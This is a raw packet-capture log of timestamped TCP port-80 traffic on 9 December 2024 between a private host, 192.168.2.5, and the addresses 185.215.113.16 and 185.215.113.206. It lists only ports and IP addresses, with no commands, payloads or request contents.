Dec 9, 2024 15:29:48.564637899 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.564657927 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.566047907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.566067934 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.566102982 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.566123009 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.567553997 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.567565918 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.567615032 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.569060087 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.569072962 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.569082975 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.569116116 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.569129944 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.570600033 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.570611954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.570663929 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.573587894 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.573642969 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.575170040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.575181961 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.575227976 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.576860905 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.576910973 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.579617023 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.579638004 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.579678059 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.579693079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.581057072 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.581069946 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.581080914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.581109047 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.581130028 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.582571030 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.582585096 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.582627058 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.584067106 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.584088087 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.584125042 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.584145069 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.585613966 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.585627079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.585668087 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.587054968 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.587081909 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.587115049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.587129116 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.588572979 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.588587046 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.588598013 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.588634968 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.588649988 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.590442896 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.590457916 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.590506077 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.592103958 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.592118025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.592159986 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.593600035 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.593611956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.593655109 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.594794989 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.594809055 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.594856024 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.596127033 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.596141100 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.596152067 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.596185923 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.596199036 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.703907013 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.703963995 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.704291105 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.704334021 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.705080986 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.705094099 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.705142975 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.706350088 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.706363916 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.706413984 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.707711935 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.707736015 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.707760096 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.707775116 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.709211111 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.709224939 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.709264040 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.710704088 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.710716963 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.710727930 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.710773945 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.710793018 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.712163925 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.712234974 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.722798109 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.722861052 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.723390102 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.723433971 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.724049091 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.724062920 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.724104881 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.724128008 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.725363016 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.725375891 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.725413084 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.725428104 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.726593018 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.726608038 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.726658106 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.726658106 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.728231907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.728245974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.728285074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.728301048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.729347944 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.729360104 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.729404926 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.730811119 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.730824947 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.730866909 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.730906010 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.732327938 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.732340097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.732383013 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.732398033 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.733807087 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.733819962 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.733880043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.735404968 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.735419035 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.735460043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.735496044 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.736814022 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.736828089 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.736838102 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.736869097 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.736884117 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.738365889 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.738379955 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.738410950 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.738436937 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.739850998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.739864111 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.739901066 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.739921093 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.741343975 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.741357088 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.741389036 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.741405010 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.742803097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.742816925 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.742827892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.742855072 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.742875099 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.744312048 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.744324923 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.744368076 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.745897055 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.745917082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.745950937 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.745969057 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.747531891 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.747545004 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.747580051 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.748823881 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.748842955 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.748867035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.748884916 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.750277042 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.750289917 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.750323057 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.750339985 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.751799107 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.751811981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.751821995 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.751854897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.753484964 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.753501892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.753534079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.753534079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.753566980 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.755337954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.755352974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.755397081 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.756669998 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.756681919 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.756731987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.756731987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.758008003 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.758021116 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.758032084 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.758073092 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.758100986 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.759697914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.759711981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.759757996 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.760404110 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.760869026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.760910988 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.764033079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.764045954 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.764079094 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.764098883 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.764157057 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.764193058 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766412973 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766427040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766473055 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766618967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766630888 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766653061 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766653061 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766676903 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766884089 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766896009 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.766931057 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.766941071 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.768304110 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.768316984 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.768348932 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.768378019 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.769779921 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.769793034 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.769826889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.769844055 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.771327019 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.771341085 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.771378994 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.771394968 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.772803068 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.772861004 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.774296999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.774310112 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.774318933 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.774350882 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.774379015 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.775754929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.775774956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.775798082 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.775815010 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.777324915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.777335882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.777364016 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.777381897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.778841019 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.778853893 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.778901100 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.780335903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.780354977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.780386925 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.780406952 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.785403967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.785415888 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.785427094 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.785439014 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.785449982 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.785458088 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.785480022 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.785499096 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.786462069 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.786474943 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.786508083 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.786523104 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.787964106 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.787976980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.788009882 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.788033009 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.897631884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.897716045 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.898153067 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.898209095 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.898853064 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.898904085 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.899136066 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.899187088 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.899702072 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.899753094 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.900374889 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.900388956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.900427103 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.901746988 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.901760101 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.901803017 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.903325081 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.903337002 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.903350115 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.903379917 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.903394938 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.904414892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.904428959 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.904470921 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.905797958 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.905808926 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.905853987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.916009903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.916023970 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.916079044 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.917815924 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.917870045 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.918112040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.918158054 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.918800116 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.918848038 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.919615030 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.919630051 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.919672966 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.920836926 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.920886040 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.921504021 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.921552896 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.922142982 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.922154903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.922199011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.922210932 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.923697948 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.923757076 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.923796892 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.923842907 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.924877882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.924926043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.924963951 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.925010920 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.925014019 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.925033092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.925057888 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.925077915 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.927723885 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.927741051 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.927773952 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.927789927 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.928409100 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.928421974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.928433895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:48.928457022 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:48.928486109 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:49.350574017 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:49.351170063 CET	49820	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:49.469933033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:49.470477104 CET	80	49820	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:49.470560074 CET	49820	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:49.470730066 CET	49820	80	192.168.2.5	185.215.113.206
